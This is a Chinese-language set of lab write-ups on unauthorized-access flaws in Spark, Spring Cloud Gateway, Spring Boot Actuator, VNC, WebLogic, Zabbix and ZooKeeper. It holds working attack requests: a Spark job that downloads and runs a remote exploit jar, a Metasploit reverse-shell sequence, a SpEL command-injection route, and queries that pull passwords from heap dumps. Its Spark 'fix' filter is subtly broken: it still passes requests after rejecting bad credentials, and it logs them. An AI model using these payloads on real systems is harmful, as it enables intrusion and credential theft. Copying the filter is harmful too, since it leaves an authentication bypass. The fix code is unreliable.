shellsent 146 bytes received 35 bytes 362.00 bytes/sec
total size is 55 speedup is 0.30
Spark 未授權訪問漏洞
漏洞描述
Apache Spark是一款集群計算系統,其支持用戶向管理節點提交應用,并分發給集群執行。如果管理節點未啟動訪問控制,攻擊者可以在集群中執行任意代碼。該漏洞的本質是未授權用戶可以向Master節點提交一個應用,Master節點會分發給Slave節點執行應用。如果應用中包含惡意代碼,會導致任意代碼執行,威脅Spark集群整體的安全性。
環境搭建
git clone https://github.com/vulhub/vulhub.git
cd /opt/vulhub-master/spark/unacc/
docker-compose up
漏洞檢測
環境啟動后,訪問http://your-ip:8080
即可看到master的管理頁面,訪問http://your-ip:8081
即可看到slave的管理頁面。
該漏洞本質是未授權的用戶可以向管理節點提交一個應用,這個應用實際上是惡意代碼。
提交方式有兩種:
利用REST API
構造payload
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680{"action": "CreateSubmissionRequest","clientSparkVersion": "2.3.1","appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","environmentVariables": {"SPARK_ENV_LOADED": "1"},"mainClass": "Exploit","sparkProperties": {"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","spark.driver.supervise": "false","spark.app.name": "Exploit","spark.eventLog.enabled": "true","spark.submit.deployMode": "cluster","spark.master": "spark://your-ip:6066"}
}
其中,spark.jars
即是編譯好的應用,mainClass是待運行的類,appArgs是傳給應用的參數。
此時訪問http://your-ip:8081
已經加載了exploit.jar
返回的包中有submissionId(driver-20220516074753-0000
),然后訪問http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout
,即可查看執行結果:
利用submissions網關(集成在7077端口中)
如果6066端口不能訪問,或做了權限控制,我們可以利用master的主端口7077,來提交應用。
方法是利用Apache Spark自帶的腳本bin/spark-submit
:
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
如果你指定的master參數是rest服務器,這個腳本會先嘗試使用rest api來提交應用;如果發現不是rest服務器,則會降級到使用submission gateway來提交應用。
查看結果的方式與前面一致。
MSF
msf5>use exploit/linux/http/spark_unauth_rce
msf5>set payload java/meterpreter/reverse_tcp
msf5>set rhost 192.168.100.2
msf5>set rport 6066
msf5>set lhost 192.168.100.1
msf5>set lport 4444
msf5>set srvhost 192.168.100.1
msf5>set srvport 8080
msf5>exploit
修復方案
創建認證filter對應的jar包
在idea中通過maven編譯源碼方式。
添加maven依賴
創建maven項目后,pom.xml添加如下依賴:
<dependencies><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.10</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.35</version></dependency><!-- logback 依賴 --><dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.2.3</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version><scope>provided</scope></dependency><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.11</version></dependency></dependencies>
創建com.demo包
package com.demo;import org.apache.commons.codec.binary.Base64;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.StringTokenizer;public class SparkAuthFilter implements Filter {/*** Logger*/private static final Logger LOG = LoggerFactory.getLogger(SparkAuthFilter.class);private String username = "";private String password = "";private String realm = "Protected";@Overridepublic void init(FilterConfig filterConfig) throws ServletException {username = filterConfig.getInitParameter("username");password = filterConfig.getInitParameter("password");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {HttpServletRequest request = (HttpServletRequest) servletRequest;HttpServletResponse response = (HttpServletResponse) servletResponse;String authHeader = request.getHeader("Authorization");if (authHeader != null) {StringTokenizer st = new StringTokenizer(authHeader);if (st.hasMoreTokens()) {String basic = st.nextToken();if (basic.equalsIgnoreCase("Basic")) {try {String credentials = new String(Base64.decodeBase64(st.nextToken()), "UTF-8");LOG.debug("Credentials: " + credentials);int p = credentials.indexOf(":");if (p != -1) {String _username = credentials.substring(0, p).trim();String _password = credentials.substring(p + 1).trim();if (!username.equals(_username) || !password.equals(_password)) {unauthorized(response, "Bad credentials");}filterChain.doFilter(servletRequest, servletResponse);} else {unauthorized(response, "Invalid authentication token");}} catch (UnsupportedEncodingException e) {throw new Error("Couldn't retrieve authentication", e);}}}} else {unauthorized(response);}}@Overridepublic void destroy() {}private void unauthorized(HttpServletResponse response, String message) throws IOException {response.setHeader("WWW-Authenticate", "Basic realm=\"" + realm + "\"");response.sendError(401, message);}private void unauthorized(HttpServletResponse response) throws IOException {unauthorized(response, "Unauthorized");}public static void main(String[] args) {}}
這段代碼是一個 Java 的 Servlet Filter 類,名為 SparkAuthFilter。該類實現了 Filter 接口,在接收 HTTP 請求時可以對請求進行認證,并決定是否允許該請求繼續向下傳遞。
在 Filter 初始化時,可以從配置中讀取 username 和 password,并賦值到類的實例變量中。
對于每一個請求,程序會檢查請求的 Authorization header 是否存在,并判斷是否是 Basic 認證方式。如果是,程序會對 header 中的認證憑證進行解碼,并與 username 和 password 進行比較,如果一致則允許請求繼續,否則返回 401 Unauthorized。
在返回 401 Unauthorized 時,程序會在 HTTP 響應的 WWW-Authenticate header 中加入認證需要使用的 realm 信息。
使用maven進行編譯,編譯的jar包在target目錄下面。
執行配置
- 將jar包上傳到spark的
jars
目錄。 spark-defaults.conf
配置文件中,增加如下配置:
spark.ui.filters=com.demo.SparkAuthFilter
spark.com.demo.SparkAuthFilter.param.username=test
spark.com.demo.SparkAuthFilter.param.password=password
spark.acls.enable=true
重啟spark集群
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh
Spring Cloud Gateway Server 未授權訪問漏洞
漏洞描述
Spring Cloud Gateway是Spring中的一個API網關。其3.1.0及3.0.6版本(包含)以前存在一處SpEL表達式注入漏洞,當攻擊者可以訪問Actuator API的情況下,將可以利用該漏洞執行任意命令。
環境搭建
執行如下命令啟動一個使用了Spring Cloud Gateway 3.1.0的Web服務:
docker-compose up -d
服務啟動后,訪問http://your-ip:8080
即可看到演示頁面,這個頁面的上游就是example.com。
漏洞復現
利用這個漏洞需要分多步。
首先,發送如下數據包即可添加一個包含惡意SpEL表達式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
然后,發送如下數據包應用剛添加的路由。這個數據包將觸發SpEL表達式的執行:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
發送如下數據包即可查看執行結果:
最后,發送如下數據包清理現場,刪除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
再刷新下路由:
SpringBoot Actuator未授權訪問漏洞
簡介
Spring Boot Actuator是Spring Boot項目中的一個模塊,它提供了一組用于監控和管理Spring Boot應用程序的端點。這些端點可以用來檢索應用程序的運行狀態、查看應用程序的統計數據、查看應用程序中的配置信息等。
此外,還可以使用Actuator執行一些安全操作,如關閉應用程序。使用Actuator可以更好的監控、管理和維護Spring Boot應用程序。
其中以下是它端點:
Http | 路徑 | 描述 |
---|---|---|
get | /autoconfig | 提供了一份自動配置報告,記錄哪些自動配置條件通過了,哪些沒通過 |
get | /configprops | 描述配置屬性(包含默認值)如何注入 Bean |
get | /beans | 描述應用程序上下文里全部的 Bean,以及它們的關系 |
get | /dump | 獲取線程活動的快照 |
get | /env | 獲取全部環境屬性 |
get | /env/{name} | 根據名稱獲取特定的環境屬性值 |
get | /health | 報告應用程序的健康指標,這些值由 HealthIndicator 的實現類提供 |
get | /info | 獲取應用程序的定制信息,這些信息由 info 打頭的屬性提供 |
get | /mappings | 描述全部的 URI 路徑,以及它們和控制器(包含 Actuator 端點)的映射關系 |
get | /metrics | 報告各種應用程序度量信息,比如內存用量和 HTTP 請求計數 |
get | /metrics/{name} | 報告指定名稱的應用程序度量值 |
post | /shutdown | 關閉應用程序,要求 endpoints.shutdown.enabled 設置為 true(默認為 false) |
get | /trace | 提供基本的 HTTP 請求跟蹤信息(時間戳、HTTP 頭等) |
get | /heapdump | 獲取正在運行的JVM的堆轉儲 |
環境搭建
SpringBoot Actuator未授權訪問漏洞分為1.x版本和2.x版本。
srpingboot 2.x
下載demo代碼
git clone https://github.com/callicoder/spring-boot-actuator-demo.git
maven將項目代碼構建成jar包。
mvn package
啟動Spring Boot應用程序
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
瀏覽器訪問: http://localhost:8080.
srpingboot 1.x
使用IDEA新建一個maven項目。修改pom.xml
,聲明了一個父級依賴關系,表示該項目依賴于Spring Boot的spring-boot-starter-parent
項目,版本為1.4.6.RELEASE。
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>1.4.6.RELEASE</version></parent><!-- Add typical dependencies for a web application --><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build>
新增測試文件:\src\main\java\Example.java
import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;@RestController
@EnableAutoConfiguration
public class Example {@RequestMapping("/")String home() {return "Hello World!";}public static void main(String[] args) throws Exception {SpringApplication.run(Example.class, args);}}
修改application.properties
endpoints.beans.enabled=true
spring.redis.password=123456
漏洞復現
srpingboot 2.x
訪問/info
接口,泄露springboot項目信息。
訪問/env
接口,泄露springboot環境變量信息。
springboot 1.x
訪問/metrics
接口,顯示應用的信息。
訪問/trace
接口,顯示訪問數據包具體信息。
heapdump泄露讀取
Spring Boot Actuator的堆轉儲功能如果沒有適當的配置,可能是一個安全漏洞。它允許通過URL獲取正在運行的JVM的堆轉儲,其中可能包含敏感信息。
訪問/heapdump
接口下載heapdump文件。
jvisualvm分析
JVisualVM是由Oracle提供的Java可視化和監控工具。它包含在Oracle JDK分發版中,可用于監視和配置Java應用程序,診斷性能問題,并檢查內存使用和堆轉儲。
JVisualVM提供了各種功能,包括:
- 監控JVM性能、內存使用和線程
- 配置Java應用程序的CPU和內存使用情況
- 堆轉儲分析和內存泄漏檢測
- JMX控制臺,用于檢查和管理MBeans
打開jvisualvm.exe
加載heapdump文件
在工具菜單欄點擊插件,安裝OQL插件
構建OQL語句進行關鍵字查詢,從而獲取明文密碼。
Spring boot 1.x版本查詢語句:
select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
Spring boot 2.x版本查詢語句:
select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())
jhat
JHat是Java堆分析工具。它可以用于分析Java堆轉儲文件,以找出內存泄漏和其他內存問題。并且提供了一個網頁界面,允許用戶瀏覽堆轉儲中的對象,檢查引用關系,檢查內存使用情況等。
使用jhat命令分析heapdump文件,會啟動7000端口web頁面。
訪問7000端口,需要人工搜索關鍵字。
heapdump_tool
本質上是基于jhat,通過通過jhat解析heapdump文件,從而實現heapdump敏感信息搜索。
下載鏈接:https://toolaffix.oss-cn-beijing.aliyuncs.com/heapdump_tool.jar
java -jar heapdump_tool.jar heapdump
選擇1,獲取全部內容
然后輸入關鍵字
查詢方式:
- 關鍵詞 例如 password
- 字符長度 len=10 獲取長度為10的所有key或者value值
- 按順序獲取 num=1-100 獲取順序1-100的字符
獲取url,file,ip
geturl 獲取所有字符串中的url
getfile 獲取所有字符串中的文件路徑文件名
getip 獲取所有字符串中的ip
默認不輸出查詢結果非key-value格式的數據,需要獲取所有值,輸入all=true,all=false取消顯示所有值。
mat
Heap Dump也叫堆轉儲文件,是一個Java進程在某個時間點上的內存快照。
可以使用Eclipse MemoryAnalyzer 工具對泄露的heapdump文件進行分析,查詢加載到內存中的明文密碼信息。
獨立版下載地址:http://www.eclipse.org/mat/downloads.php
最新版用Java 11,可以下載歷史版本
spring boot 1.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.Hashtable$Entry
實例的鍵值對中
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
spring boot 2.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.LinkedHashMap$Entry
實例的鍵值對中:
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
修復建議
springboot 2.x修復方法
禁用接口
application.properties
配置文件內改成:management.endpoint.beans.enabled=false
management.endpoint.beans.enabled=false
actuator接口進行鑒權
application.properties
# Spring Security default user name and password
spring.security.user.name=actuator
spring.security.user.password=actuator
spring.security.user.roles=ACTUATOR_ADMIN
如果需要訪問actuator接口,則可以自定義代碼,引用security進行鑒權訪問。
\src\main\java\com\example\actuatordemo\config\ActuatorSecurityConfig.java
package com.example.actuatordemo.config;import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
import org.springframework.boot.actuate.context.ShutdownEndpoint;
import org.springframework.boot.autoconfigure.security.servlet.PathRequest;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {/*This spring security configuration does the following1. Restrict access to the Shutdown endpoint to the ACTUATOR_ADMIN role.2. Allow access to all other actuator endpoints.3. Allow access to static resources.4. Allow access to the home page (/).5. All other requests need to be authenticated.5. Enable http basic authentication to make the configuration complete.You are free to use any other form of authentication.*/@Overrideprotected void configure(HttpSecurity http) throws Exception {http.authorizeRequests()//注釋掉可以對actuator路徑進行鑒權
// .requestMatchers(EndpointRequest.to(ShutdownEndpoint.class))
// .hasRole("ACTUATOR_ADMIN")
// .requestMatchers(EndpointRequest.toAnyEndpoint())
// .permitAll().requestMatchers(PathRequest.toStaticResources().atCommonLocations()).permitAll().antMatchers("/", "/slowApi").permitAll().antMatchers("/**").authenticated().and().httpBasic();}
}
此Spring Security配置執行以下操作:
- 對Shutdown端點的訪問受限制,僅限于ACTUATOR_ADMIN角色。
- 允許對所有其他actuator端點的訪問。
- 允許對靜態資源的訪問。
- 允許訪問主頁(/)。
- 所有其他請求都需要進行身份驗證。
- 啟用http基本身份驗證以完成配置。您可以自由使用其他形式的身份驗證。
\src\main\java\com\example\actuatordemo\controller\SampleController.java
package com.example.actuatordemo.controller;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.util.Random;
import java.util.concurrent.TimeUnit;@RestController
public class SampleController {@GetMapping("/")public String sayHello(@RequestParam(value = "name", defaultValue = "Guest") String name) {return "Hello " + name + "!!";}@GetMapping("/slowApi")public String timeConsumingAPI(@RequestParam(value = "delay", defaultValue = "0") Integer delay) throws InterruptedException {if(delay == 0) {Random random = new Random();delay = random.nextInt(10);}TimeUnit.SECONDS.sleep(delay);return "Result";}}
此控制器執行以下操作:
- 定義了一個"/ "路徑,返回帶有請求參數名稱的問候語。
- 定義了一個"/slowApi"路徑,可以模擬耗時的API請求,可以通過請求參數"delay"指定延遲,如果未指定,則隨機生成延遲。
\src\main\java\com\example\actuatordemo\health\CustomHealthIndicator.java
package com.example.actuatordemo.health;import org.springframework.boot.actuate.health.AbstractHealthIndicator;
import org.springframework.boot.actuate.health.Health;
import org.springframework.stereotype.Component;@Component
public class CustomHealthIndicator extends AbstractHealthIndicator {@Overrideprotected void doHealthCheck(Health.Builder builder) throws Exception {// Use the builder to build the health status details that should be reported.// If you throw an exception, the status will be DOWN with the exception message.builder.up().withDetail("app", "Alive and Kicking").withDetail("error", "Nothing! I'm good.");}
}
這是一個健康指標組件,繼承自AbstractHealthIndicator。
doHealthCheck方法構建健康狀態的詳細信息,如果拋出異常,狀態將是DOWN,并帶有異常信息。
該示例報告應用程序的健康狀態是"Alive and Kicking",錯誤是"Nothing! I’m good."
啟動服務訪問actuator就可以看到需要輸入密碼
springboot 1.x修復方案
禁用接口
#關閉全部接口
endpoints.enabled = false###只開啟某些接口
#endpoints.beans.enabled = true
#endpoints.env.enabled = true
#endpoints.trace.enabled = true
#endpoints.metrics.enabled = true
鑒權
另外也可以引入spring-boot-starter-security
依賴
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency>
在application.properties
中指定actuator的端口以及開啟security功能,配置訪問權限驗證,這時再訪問actuator功能時就會彈出登錄窗口,需要輸入賬號密碼驗證后才允許訪問。
management.security.enabled=true
security.user.name=admin
security.user.password=admin
VNC Server 未授權訪問漏洞
CVE-2006-2369
漏洞描述
RealVNC VNC Server是英國RealVNC公司的一個遠程訪問軟件的 VNC 服務器。
RealVNC VNC Server 存在授權問題漏洞,該漏洞源于采用的RFB(遠程幀緩沖區)協議允許客戶端與服務端協商合適的認證方法,協議的實現上存在設計錯誤,遠程攻擊者可以繞過認證無需口令實現對服務器的訪問。
影響范圍
RealVNC <= 4.1.1
環境搭建
win2003系統
下載地址:https://www.filesoul.com/software/RealVNC/4-1-1/download/
進行安裝(一直下一步即可)
漏洞利用
vncviewer 192.168.32.252
防御手段
-
配置 VNC 客戶端登錄口令認證并配置符合密碼強度要求的密碼。
-
以最小普通權限身份運行操作系統。
Weblogic 未授權訪問漏洞
漏洞描述
Weblogic是Oracle公司推出的J2EE應用服務器,CVE-2020-14882允許未授權的用戶繞過管理控制臺的權限驗證訪問后臺,CVE-2020-14883允許后臺任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。
漏洞檢測
使用vulhub搭建漏洞演示環境
cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up -d
http://192.168.0.5:7001/console/css/%252e%252e%252fconsole.portal
攻擊者可以構造特殊請求的URL,即可未授權訪問到管理后臺頁面:
遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執行任意代碼。
Zabbix未授權訪問漏洞
漏洞描述
Zabbix存在一個未授權訪問漏洞,通過該漏洞,攻擊者可以在未經授權的情況下訪問Zabbix服務器上的數據,導致敏感信息泄露。
影響版本
Zabbix <= 4.4
環境搭建
docker run -p 10051:10051 -p 80:80 zabbix/zabbix-appliance:ubuntu-4.0.12
漏洞利用
訪問:http://192.168.32.183/zabbix.php?action=problem.view&ddreset=1
訪問:http://192.168.32.183/overview.php?ddreset=1
訪問:http://192.168.32.183/latest.php?ddreset=1
還有以下鏈接可以訪問:
- https://TARGET/zabbix/zabbix.php?action=dashboard.view
- https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
- https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
- https://TARGET/zabbix/overview.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
- https://TARGET/zabbix/latest.php?ddreset=1
- https://TARGET/zabbix/charts.php?ddreset=1
- https://TARGET/zabbix/screens.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
- https://TARGET/zabbix/srv_status.php?ddreset=1
- https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
- https://TARGET/zabbix/hostinventories.php?ddreset=1
- https://TARGET/zabbix/report2.php?ddreset=1
- https://TARGET/zabbix/toptriggers.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=dashboard.list
- https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
ZooKeeper未授權訪問漏洞
漏洞描述
ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。
環境搭建
Zookeeper的默認開放端口是2181
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gztar -zxvf zookeepre-3.4.10.tar.gz
cd zookeeper-3.4.10/
cd conf/
vi zoo.cfg
### 配置單機模式
tickTime=2000
dataDir=/tmp/zookeeper/data
dataLogDir=/tmp/zookeeper/logs
clientPort=2181 bin/zkServer.sh start //啟動
### 啟動client連接server
bin/zkCli.sh -server localhost:2181
漏洞利用
執行以下命令即可遠程獲取該服務器的環境:
echo envi | nc 192.168.32.131 2181
stat:列出關于性能和連接的客戶端的統計信息。
echo stat |nc 192.168.32.131 2181
ruok:測試服務器是否運行在非錯誤狀態。
echo ruok |ncat 127.0.0.1 2181
reqs:列出未完成的請求。
echo reqs |ncat 127.0.0.1 2181
envi:打印有關服務環境的詳細信息。
echo envi |ncat 127.0.0.1 2181
dump:列出未完成的會話和臨時節點。
echo dump |ncat 127.0.0.1 2181
修復建議
禁止把Zookeeper直接暴露在公網
添加訪問控制,根據情況選擇對應方式(認證用戶,用戶名密碼)
綁定指定IP訪問 (推薦):
1、登陸zookeeper
./zkCli.sh -server <IP>:<port>
2、查看當前權限:
getAcl /
3、添加可訪問IP
setAcl / ip:192.168.1.xx:cdrwa,ip:192.168.1.xx:cdrwa
4、查看是否正常添加
getAcl /
未授權也可以連接,但是查看節點時會報錯KeeperErrorCode = NoAuth for /
,localhost都不行,必須填可訪問IP,才能訪問。
[zk: localhost:2181(CONNECTED) 0] ls /
KeeperErrorCode = NoAuth for /
[zk: localhost:2181(CONNECTED) 1]
回退辦法:
使用之前設置的IP進行訪問:
./zkCli.sh -server <IP>:<port>
設置為所有人可訪問:
setAcl / world:anyone:cdrwa
設置身份驗證
為ZooKeeper配置相應的訪問權限。
1)增加一個認證用戶
addauth digest 用戶名:密碼明文
addauth digest user1:password1
2)設置權限
setAcl /path auth:用戶名:密碼明文:權限
setAcl /path digest:用戶名:密碼密文:權限
setAcl /test auth:user1:password1:cdrwa
3)查看Acl設置
getAcl /path